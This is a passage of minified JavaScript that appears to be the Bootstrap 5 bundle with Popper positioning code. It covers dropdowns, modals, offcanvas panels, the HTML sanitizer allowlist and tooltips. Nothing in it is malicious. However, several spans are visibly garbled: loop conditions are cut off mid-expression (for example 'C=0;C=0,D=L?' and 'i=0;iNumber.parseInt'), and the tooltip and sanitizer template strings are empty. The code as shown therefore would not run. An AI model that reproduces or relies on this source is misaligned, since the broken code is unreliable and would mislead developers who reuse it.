bt:e={x:i.x-n.width,y:l};break;default:e={x:i.x,y:i.y}}var c=o?re(o):null;if(null!=c){var h="y"===c?"height":"width";switch(r){case wt:e[c]=e[c]-(i[h]/2-n[h]/2);break;case At:e[c]=e[c]+(i[h]/2-n[h]/2)}}return e}function Le(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=void 0===n?t.placement:n,o=i.strategy,r=void 0===o?t.strategy:o,a=i.boundary,l=void 0===a?Et:a,c=i.rootBoundary,h=void 0===c?Tt:c,d=i.elementContext,u=void 0===d?Ct:d,f=i.altBoundary,p=void 0!==f&&f,g=i.padding,m=void 0===g?0:g,_=le("number"!=typeof m?m:ce(m,yt)),b=u===Ct?Ot:Ct,v=t.rects.popper,y=t.elements[p?b:u],w=function(t,e,i,n){var s="clippingParents"===e?function(t){var e=Ce(ne(t)),i=["absolute","fixed"].indexOf(te(t).position)>=0&&zt(t)?oe(t):t;return Ft(i)?e.filter((function(t){return Ft(t)&&Zt(t,i)&&"body"!==Wt(t)})):[]}(t):[].concat(e),o=[].concat(s,[i]),r=o[0],a=o.reduce((function(e,i){var s=xe(t,i,n);return e.top=Kt(s.top,e.top),e.right=Qt(s.right,e.right),e.bottom=Qt(s.bottom,e.bottom),e.left=Kt(s.left,e.left),e}),xe(t,r,n));return a.width=a.right-a.left,a.height=a.bottom-a.top,a.x=a.left,a.y=a.top,a}(Ft(y)?y:y.contextElement||ie(t.elements.popper),l,h,r),A=Gt(t.elements.reference),E=ke({reference:A,element:v,strategy:"absolute",placement:s}),T=Oe(Object.assign({},v,E)),C=u===Ct?T:A,O={top:w.top-C.top+_.top,bottom:C.bottom-w.bottom+_.bottom,left:w.left-C.left+_.left,right:C.right-w.right+_.right},x=t.modifiersData.offset;if(u===Ct&&x){var k=x[s];Object.keys(O).forEach((function(t){var e=[_t,mt].indexOf(t)>=0?1:-1,i=[gt,mt].indexOf(t)>=0?"y":"x";O[t]+=k[i]*e}))}return O}function De(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=i.boundary,o=i.rootBoundary,r=i.padding,a=i.flipVariations,l=i.allowedAutoPlacements,c=void 0===l?kt:l,h=de(n),d=h?a?xt:xt.filter((function(t){return de(t)===h})):yt,u=d.filter((function(t){return c.indexOf(t)>=0}));0===u.length&&(u=d);var f=u.reduce((function(e,i){return e[i]=Le(t,{placement:i,boundary:s,rootBoundary:o,padding:r})[Vt(i)],e}),{});return Object.keys(f).sort((function(t,e){return f[t]-f[e]}))}const Se={name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0===r||r,l=i.fallbackPlacements,c=i.padding,h=i.boundary,d=i.rootBoundary,u=i.altBoundary,f=i.flipVariations,p=void 0===f||f,g=i.allowedAutoPlacements,m=e.options.placement,_=Vt(m),b=l||(_!==m&&p?function(t){if(Vt(t)===vt)return[];var e=be(t);return[ye(t),e,ye(e)]}(m):[be(m)]),v=[m].concat(b).reduce((function(t,i){return t.concat(Vt(i)===vt?De(e,{placement:i,boundary:h,rootBoundary:d,padding:c,flipVariations:p,allowedAutoPlacements:g}):i)}),[]),y=e.rects.reference,w=e.rects.popper,A=new Map,E=!0,T=v[0],C=0;C=0,D=L?"width":"height",S=Le(e,{placement:O,boundary:h,rootBoundary:d,altBoundary:u,padding:c}),I=L?k?_t:bt:k?mt:gt;y[D]>w[D]&&(I=be(I));var N=be(I),P=[];if(o&&P.push(S[x]<=0),a&&P.push(S[I]<=0,S[N]<=0),P.every((function(t){return t}))){T=O,E=!1;break}A.set(O,P)}if(E)for(var j=function(t){var e=v.find((function(e){var i=A.get(e);if(i)return i.slice(0,t).every((function(t){return t}))}));if(e)return T=e,"break"},M=p?3:1;M>0&&"break"!==j(M);M--);e.placement!==T&&(e.modifiersData[n]._skip=!0,e.placement=T,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function Ie(t,e,i){return void 0===i&&(i={x:0,y:0}),{top:t.top-e.height-i.y,right:t.right-e.width+i.x,bottom:t.bottom-e.height+i.y,left:t.left-e.width-i.x}}function Ne(t){return[gt,_t,mt,bt].some((function(e){return t[e]>=0}))}const Pe={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,i=t.name,n=e.rects.reference,s=e.rects.popper,o=e.modifiersData.preventOverflow,r=Le(e,{elementContext:"reference"}),a=Le(e,{altBoundary:!0}),l=Ie(r,n),c=Ie(a,s,o),h=Ne(l),d=Ne(c);e.modifiersData[i]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:h,hasPopperEscaped:d},e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-reference-hidden":h,"data-popper-escaped":d})}},je={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.offset,o=void 0===s?[0,0]:s,r=kt.reduce((function(t,i){return t[i]=function(t,e,i){var n=Vt(t),s=[bt,gt].indexOf(n)>=0?-1:1,o="function"==typeof i?i(Object.assign({},e,{placement:t})):i,r=o[0],a=o[1];return r=r||0,a=(a||0)*s,[bt,_t].indexOf(n)>=0?{x:a,y:r}:{x:r,y:a}}(i,e.rects,o),t}),{}),a=r[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=r}},Me={name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,i=t.name;e.modifiersData[i]=ke({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},He={name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0!==r&&r,l=i.boundary,c=i.rootBoundary,h=i.altBoundary,d=i.padding,u=i.tether,f=void 0===u||u,p=i.tetherOffset,g=void 0===p?0:p,m=Le(e,{boundary:l,rootBoundary:c,padding:d,altBoundary:h}),_=Vt(e.placement),b=de(e.placement),v=!b,y=re(_),w="x"===y?"y":"x",A=e.modifiersData.popperOffsets,E=e.rects.reference,T=e.rects.popper,C="function"==typeof g?g(Object.assign({},e.rects,{placement:e.placement})):g,O="number"==typeof C?{mainAxis:C,altAxis:C}:Object.assign({mainAxis:0,altAxis:0},C),x=e.modifiersData.offset?e.modifiersData.offset[e.placement]:null,k={x:0,y:0};if(A){if(o){var L,D="y"===y?gt:bt,S="y"===y?mt:_t,I="y"===y?"height":"width",N=A[y],P=N+m[D],j=N-m[S],M=f?-T[I]/2:0,H=b===wt?E[I]:T[I],$=b===wt?-T[I]:-E[I],W=e.elements.arrow,B=f&&W?Jt(W):{width:0,height:0},F=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},z=F[D],q=F[S],R=ae(0,E[I],B[I]),V=v?E[I]/2-M-R-z-O.mainAxis:H-R-z-O.mainAxis,K=v?-E[I]/2+M+R+q+O.mainAxis:$+R+q+O.mainAxis,Q=e.elements.arrow&&oe(e.elements.arrow),X=Q?"y"===y?Q.clientTop||0:Q.clientLeft||0:0,Y=null!=(L=null==x?void 0:x[y])?L:0,U=N+K-Y,G=ae(f?Qt(P,N+V-Y-X):P,N,f?Kt(j,U):j);A[y]=G,k[y]=G-N}if(a){var J,Z="x"===y?gt:bt,tt="x"===y?mt:_t,et=A[w],it="y"===w?"height":"width",nt=et+m[Z],st=et-m[tt],ot=-1!==[gt,bt].indexOf(_),rt=null!=(J=null==x?void 0:x[w])?J:0,at=ot?nt:et-E[it]-T[it]-rt+O.altAxis,lt=ot?et+E[it]+T[it]-rt-O.altAxis:st,ct=f&&ot?function(t,e,i){var n=ae(t,e,i);return n>i?i:n}(at,et,lt):ae(f?at:nt,et,f?lt:st);A[w]=ct,k[w]=ct-et}e.modifiersData[n]=k}},requiresIfExists:["offset"]};function $e(t,e,i){void 0===i&&(i=!1);var n,s,o=zt(e),r=zt(e)&&function(t){var e=t.getBoundingClientRect(),i=Xt(e.width)/t.offsetWidth||1,n=Xt(e.height)/t.offsetHeight||1;return 1!==i||1!==n}(e),a=ie(e),l=Gt(t,r,i),c={scrollLeft:0,scrollTop:0},h={x:0,y:0};return(o||!o&&!i)&&(("body"!==Wt(e)||Ee(a))&&(c=(n=e)!==Bt(n)&&zt(n)?{scrollLeft:(s=n).scrollLeft,scrollTop:s.scrollTop}:we(n)),zt(e)?((h=Gt(e,!0)).x+=e.clientLeft,h.y+=e.clientTop):a&&(h.x=Ae(a))),{x:l.left+c.scrollLeft-h.x,y:l.top+c.scrollTop-h.y,width:l.width,height:l.height}}function We(t){var e=new Map,i=new Set,n=[];function s(t){i.add(t.name),[].concat(t.requires||[],t.requiresIfExists||[]).forEach((function(t){if(!i.has(t)){var n=e.get(t);n&&s(n)}})),n.push(t)}return t.forEach((function(t){e.set(t.name,t)})),t.forEach((function(t){i.has(t.name)||s(t)})),n}var Be={placement:"bottom",modifiers:[],strategy:"absolute"};function Fe(){for(var t=arguments.length,e=new Array(t),i=0;iNumber.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return(this._inNavbar||"static"===this._config.display)&&(B.setDataAttribute(this._menu,"popper","static"),t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,..."function"==typeof this._config.popperConfig?this._config.popperConfig(t):this._config.popperConfig}}_selectMenuItem({key:t,target:e}){const i=Q.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter((t=>a(t)));i.length&&b(i,e,t===Ye,!i.includes(e)).focus()}static jQueryInterface(t){return this.each((function(){const e=hi.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}static clearMenus(t){if(2===t.button||"keyup"===t.type&&"Tab"!==t.key)return;const e=Q.find(ti);for(const i of e){const e=hi.getInstance(i);if(!e||!1===e._config.autoClose)continue;const n=t.composedPath(),s=n.includes(e._menu);if(n.includes(e._element)||"inside"===e._config.autoClose&&!s||"outside"===e._config.autoClose&&s)continue;if(e._menu.contains(t.target)&&("keyup"===t.type&&"Tab"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;const o={relatedTarget:e._element};"click"===t.type&&(o.clickEvent=t),e._completeHide(o)}}static dataApiKeydownHandler(t){const e=/input|textarea/i.test(t.target.tagName),i="Escape"===t.key,n=[Xe,Ye].includes(t.key);if(!n&&!i)return;if(e&&!i)return;t.preventDefault();const s=this.matches(Ze)?this:Q.prev(this,Ze)[0]||Q.next(this,Ze)[0]||Q.findOne(Ze,t.delegateTarget.parentNode),o=hi.getOrCreateInstance(s);if(n)return t.stopPropagation(),o.show(),void o._selectMenuItem(t);o._isShown()&&(t.stopPropagation(),o.hide(),s.focus())}}P.on(document,Ge,Ze,hi.dataApiKeydownHandler),P.on(document,Ge,ei,hi.dataApiKeydownHandler),P.on(document,Ue,hi.clearMenus),P.on(document,"keyup.bs.dropdown.data-api",hi.clearMenus),P.on(document,Ue,Ze,(function(t){t.preventDefault(),hi.getOrCreateInstance(this).toggle()})),g(hi);const di=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",ui=".sticky-top",fi="padding-right",pi="margin-right";class gi{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,fi,(e=>e+t)),this._setElementAttributes(di,fi,(e=>e+t)),this._setElementAttributes(ui,pi,(e=>e-t))}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,fi),this._resetElementAttributes(di,fi),this._resetElementAttributes(ui,pi)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const n=this.getWidth();this._applyManipulationCallback(t,(t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const s=window.getComputedStyle(t).getPropertyValue(e);t.style.setProperty(e,`${i(Number.parseFloat(s))}px`)}))}_saveInitialAttribute(t,e){const i=t.style.getPropertyValue(e);i&&B.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,(t=>{const i=B.getDataAttribute(t,e);null!==i?(B.removeDataAttribute(t,e),t.style.setProperty(e,i)):t.style.removeProperty(e)}))}_applyManipulationCallback(t,e){if(o(t))e(t);else for(const i of Q.find(t,this._element))e(i)}}const mi="show",_i="mousedown.bs.backdrop",bi={className:"modal-backdrop",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:"body"},vi={className:"string",clickCallback:"(function|null)",isAnimated:"boolean",isVisible:"boolean",rootElement:"(element|string)"};class yi extends F{constructor(t){super(),this._config=this._getConfig(t),this._isAppended=!1,this._element=null}static get Default(){return bi}static get DefaultType(){return vi}static get NAME(){return"backdrop"}show(t){if(!this._config.isVisible)return void m(t);this._append();const e=this._getElement();this._config.isAnimated&&d(e),e.classList.add(mi),this._emulateAnimation((()=>{m(t)}))}hide(t){this._config.isVisible?(this._getElement().classList.remove(mi),this._emulateAnimation((()=>{this.dispose(),m(t)}))):m(t)}dispose(){this._isAppended&&(P.off(this._element,_i),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const t=document.createElement("div");t.className=this._config.className,this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_configAfterMerge(t){return t.rootElement=r(t.rootElement),t}_append(){if(this._isAppended)return;const t=this._getElement();this._config.rootElement.append(t),P.on(t,_i,(()=>{m(this._config.clickCallback)})),this._isAppended=!0}_emulateAnimation(t){_(t,this._getElement(),this._config.isAnimated)}}const wi=".bs.focustrap",Ai="backward",Ei={autofocus:!0,trapElement:null},Ti={autofocus:"boolean",trapElement:"element"};class Ci extends F{constructor(t){super(),this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return Ei}static get DefaultType(){return Ti}static get NAME(){return"focustrap"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),P.off(document,wi),P.on(document,"focusin.bs.focustrap",(t=>this._handleFocusin(t))),P.on(document,"keydown.tab.bs.focustrap",(t=>this._handleKeydown(t))),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,P.off(document,wi))}_handleFocusin(t){const{trapElement:e}=this._config;if(t.target===document||t.target===e||e.contains(t.target))return;const i=Q.focusableChildren(e);0===i.length?e.focus():this._lastTabNavDirection===Ai?i[i.length-1].focus():i[0].focus()}_handleKeydown(t){"Tab"===t.key&&(this._lastTabNavDirection=t.shiftKey?Ai:"forward")}}const Oi="hidden.bs.modal",xi="show.bs.modal",ki="modal-open",Li="show",Di="modal-static",Si={backdrop:!0,focus:!0,keyboard:!0},Ii={backdrop:"(boolean|string)",focus:"boolean",keyboard:"boolean"};class Ni extends z{constructor(t,e){super(t,e),this._dialog=Q.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new gi,this._addEventListeners()}static get Default(){return Si}static get DefaultType(){return Ii}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||this._isTransitioning||P.trigger(this._element,xi,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(ki),this._adjustDialog(),this._backdrop.show((()=>this._showElement(t))))}hide(){this._isShown&&!this._isTransitioning&&(P.trigger(this._element,"hide.bs.modal").defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Li),this._queueCallback((()=>this._hideModal()),this._element,this._isAnimated())))}dispose(){for(const t of[window,this._dialog])P.off(t,".bs.modal");this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new yi({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new Ci({trapElement:this._element})}_showElement(t){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0;const e=Q.findOne(".modal-body",this._dialog);e&&(e.scrollTop=0),d(this._element),this._element.classList.add(Li),this._queueCallback((()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,P.trigger(this._element,"shown.bs.modal",{relatedTarget:t})}),this._dialog,this._isAnimated())}_addEventListeners(){P.on(this._element,"keydown.dismiss.bs.modal",(t=>{if("Escape"===t.key)return this._config.keyboard?(t.preventDefault(),void this.hide()):void this._triggerBackdropTransition()})),P.on(window,"resize.bs.modal",(()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()})),P.on(this._element,"mousedown.dismiss.bs.modal",(t=>{P.one(this._element,"click.dismiss.bs.modal",(e=>{this._element===t.target&&this._element===e.target&&("static"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())}))}))}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide((()=>{document.body.classList.remove(ki),this._resetAdjustments(),this._scrollBar.reset(),P.trigger(this._element,Oi)}))}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if(P.trigger(this._element,"hidePrevented.bs.modal").defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._element.style.overflowY;"hidden"===e||this._element.classList.contains(Di)||(t||(this._element.style.overflowY="hidden"),this._element.classList.add(Di),this._queueCallback((()=>{this._element.classList.remove(Di),this._queueCallback((()=>{this._element.style.overflowY=e}),this._dialog)}),this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),i=e>0;if(i&&!t){const t=p()?"paddingLeft":"paddingRight";this._element.style[t]=`${e}px`}if(!i&&t){const t=p()?"paddingRight":"paddingLeft";this._element.style[t]=`${e}px`}}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const i=Ni.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t](e)}}))}}P.on(document,"click.bs.modal.data-api",'[data-bs-toggle="modal"]',(function(t){const e=n(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),P.one(e,xi,(t=>{t.defaultPrevented||P.one(e,Oi,(()=>{a(this)&&this.focus()}))}));const i=Q.findOne(".modal.show");i&&Ni.getInstance(i).hide(),Ni.getOrCreateInstance(e).toggle(this)})),q(Ni),g(Ni);const Pi="show",ji="showing",Mi="hiding",Hi=".offcanvas.show",$i="hidePrevented.bs.offcanvas",Wi="hidden.bs.offcanvas",Bi={backdrop:!0,keyboard:!0,scroll:!1},Fi={backdrop:"(boolean|string)",keyboard:"boolean",scroll:"boolean"};class zi extends z{constructor(t,e){super(t,e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return Bi}static get DefaultType(){return Fi}static get NAME(){return"offcanvas"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||P.trigger(this._element,"show.bs.offcanvas",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._backdrop.show(),this._config.scroll||(new gi).hide(),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add(ji),this._queueCallback((()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(Pi),this._element.classList.remove(ji),P.trigger(this._element,"shown.bs.offcanvas",{relatedTarget:t})}),this._element,!0))}hide(){this._isShown&&(P.trigger(this._element,"hide.bs.offcanvas").defaultPrevented||(this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add(Mi),this._backdrop.hide(),this._queueCallback((()=>{this._element.classList.remove(Pi,Mi),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._config.scroll||(new gi).reset(),P.trigger(this._element,Wi)}),this._element,!0)))}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const t=Boolean(this._config.backdrop);return new yi({className:"offcanvas-backdrop",isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?()=>{"static"!==this._config.backdrop?this.hide():P.trigger(this._element,$i)}:null})}_initializeFocusTrap(){return new Ci({trapElement:this._element})}_addEventListeners(){P.on(this._element,"keydown.dismiss.bs.offcanvas",(t=>{"Escape"===t.key&&(this._config.keyboard?this.hide():P.trigger(this._element,$i))}))}static jQueryInterface(t){return this.each((function(){const e=zi.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}P.on(document,"click.bs.offcanvas.data-api",'[data-bs-toggle="offcanvas"]',(function(t){const e=n(this);if(["A","AREA"].includes(this.tagName)&&t.preventDefault(),l(this))return;P.one(e,Wi,(()=>{a(this)&&this.focus()}));const i=Q.findOne(Hi);i&&i!==e&&zi.getInstance(i).hide(),zi.getOrCreateInstance(e).toggle(this)})),P.on(window,"load.bs.offcanvas.data-api",(()=>{for(const t of Q.find(Hi))zi.getOrCreateInstance(t).show()})),P.on(window,"resize.bs.offcanvas",(()=>{for(const t of Q.find("[aria-modal][class*=show][class*=offcanvas-]"))"fixed"!==getComputedStyle(t).position&&zi.getOrCreateInstance(t).hide()})),q(zi),g(zi);const qi=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Ri=/^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i,Vi=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,Ki=(t,e)=>{const i=t.nodeName.toLowerCase();return e.includes(i)?!qi.has(i)||Boolean(Ri.test(t.nodeValue)||Vi.test(t.nodeValue)):e.filter((t=>t instanceof RegExp)).some((t=>t.test(i)))},Qi={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},Xi={allowList:Qi,content:{},extraClass:"",html:!1,sanitize:!0,sanitizeFn:null,template:"
            "},Yi={allowList:"object",content:"object",extraClass:"(string|function)",html:"boolean",sanitize:"boolean",sanitizeFn:"(null|function)",template:"string"},Ui={entry:"(string|element|function|null)",selector:"(string|element)"};class Gi extends F{constructor(t){super(),this._config=this._getConfig(t)}static get Default(){return Xi}static get DefaultType(){return Yi}static get NAME(){return"TemplateFactory"}getContent(){return Object.values(this._config.content).map((t=>this._resolvePossibleFunction(t))).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(t){return this._checkContent(t),this._config.content={...this._config.content,...t},this}toHtml(){const t=document.createElement("div");t.innerHTML=this._maybeSanitize(this._config.template);for(const[e,i]of Object.entries(this._config.content))this._setContent(t,i,e);const e=t.children[0],i=this._resolvePossibleFunction(this._config.extraClass);return i&&e.classList.add(...i.split(" ")),e}_typeCheckConfig(t){super._typeCheckConfig(t),this._checkContent(t.content)}_checkContent(t){for(const[e,i]of Object.entries(t))super._typeCheckConfig({selector:e,entry:i},Ui)}_setContent(t,e,i){const n=Q.findOne(i,t);n&&((e=this._resolvePossibleFunction(e))?o(e)?this._putElementInTemplate(r(e),n):this._config.html?n.innerHTML=this._maybeSanitize(e):n.textContent=e:n.remove())}_maybeSanitize(t){return this._config.sanitize?function(t,e,i){if(!t.length)return t;if(i&&"function"==typeof i)return i(t);const n=(new window.DOMParser).parseFromString(t,"text/html"),s=[].concat(...n.body.querySelectorAll("*"));for(const t of s){const i=t.nodeName.toLowerCase();if(!Object.keys(e).includes(i)){t.remove();continue}const n=[].concat(...t.attributes),s=[].concat(e["*"]||[],e[i]||[]);for(const e of n)Ki(e,s)||t.removeAttribute(e.nodeName)}return n.body.innerHTML}(t,this._config.allowList,this._config.sanitizeFn):t}_resolvePossibleFunction(t){return"function"==typeof t?t(this):t}_putElementInTemplate(t,e){if(this._config.html)return e.innerHTML="",void e.append(t);e.textContent=t.textContent}}const Ji=new Set(["sanitize","allowList","sanitizeFn"]),Zi="fade",tn="show",en=".modal",nn="hide.bs.modal",sn="hover",on="focus",rn={AUTO:"auto",TOP:"top",RIGHT:p()?"left":"right",BOTTOM:"bottom",LEFT:p()?"right":"left"},an={allowList:Qi,animation:!0,boundary:"clippingParents",container:!1,customClass:"",delay:0,fallbackPlacements:["top","right","bottom","left"],html:!1,offset:[0,0],placement:"top",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'',title:"",trigger:"hover focus"},ln={allowList:"object",animation:"boolean",boundary:"(string|element)",container:"(string|element|boolean)",customClass:"(string|function)",delay:"(number|object)",fallbackPlacements:"array",html:"boolean",offset:"(array|string|function)",placement:"(string|function)",popperConfig:"(null|object|function)",sanitize:"boolean",sanitizeFn:"(null|function)",selector:"(string|boolean)",template:"string",title:"(string|element|function)",trigger:"string"};class cn extends z{constructor(t,e){if(void 0===Ke)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t,e),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return an}static get DefaultType(){return ln}static get NAME(){return"tooltip"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._activeTrigger.click=!this._activeTrigger.click,this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),P.off(this._element.closest(en),nn,this._hideModalHandler),this._element.getAttribute("data-bs-original-title")&&this._element.setAttribute("title",this._element.getAttribute("data-bs-original-title")),this._disposePopper(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this._isWithContent()||!this._isEnabled)return;const t=P.trigger(this._element,this.constructor.eventName("show")),e=(c(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(t.defaultPrevented||!e)return;this._disposePopper();const i=this._getTipElement();this._element.setAttribute("aria-describedby",i.getAttribute("id"));const{container:n}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(n.append(i),P.trigger(this._element,this.constructor.eventName("inserted"))),this._popper=this._createPopper(i),i.classList.add(tn),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))P.on(t,"mouseover",h);this._queueCallback((()=>{P.trigger(this._element,this.constructor.eventName("shown")),!1===this._isHovered&&this._leave(),this._isHovered=!1}),this.tip,this._isAnimated())}hide(){if(this._isShown()&&!P.trigger(this._element,this.constructor.eventName("hide")).defaultPrevented){if(this._getTipElement().classList.remove(tn),"ontouchstart"in document.documentElement)for(const t of[].concat(...document.body.children))P.off(t,"mouseover",h);this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,this._isHovered=null,this._queueCallback((()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute("aria-describedby"),P.trigger(this._element,this.constructor.eventName("hidden")))}),this.tip,this._isAnimated())}}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(t){const e=this._getTemplateFactory(t).toHtml();if(!e)return null;e.classList.remove(Zi,tn),e.classList.add(`bs-${this.constructor.NAME}-auto`);const i=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME).toString();return e.setAttribute("id",i),this._isAnimated()&&e.classList.add(Zi),e}setContent(t){this._newContent=t,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(t){return this._templateFactory?this._templateFactory.changeContent(t):this._templateFactory=new Gi({...this._config,content:t,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{".tooltip-inner":this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute("data-bs-original-title")}_initializeOnDelegatedTarget(t){return this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(Zi)}_isShown(){return this.tip&&this.tip.classList.contains(tn)}_createPopper(t){const e="function"==typeof this._config.placement?this._config.placement.call(this,t,this._element):this._config.placement,i=rn[e.toUpperCase()];return Ve(this._element,t,this._getPopperConfig(i))}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map((t=>Number.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_resolvePossibleFunction(t){return"function"==typeof t?t.call(this._element):t}_getPopperConfig(t){const 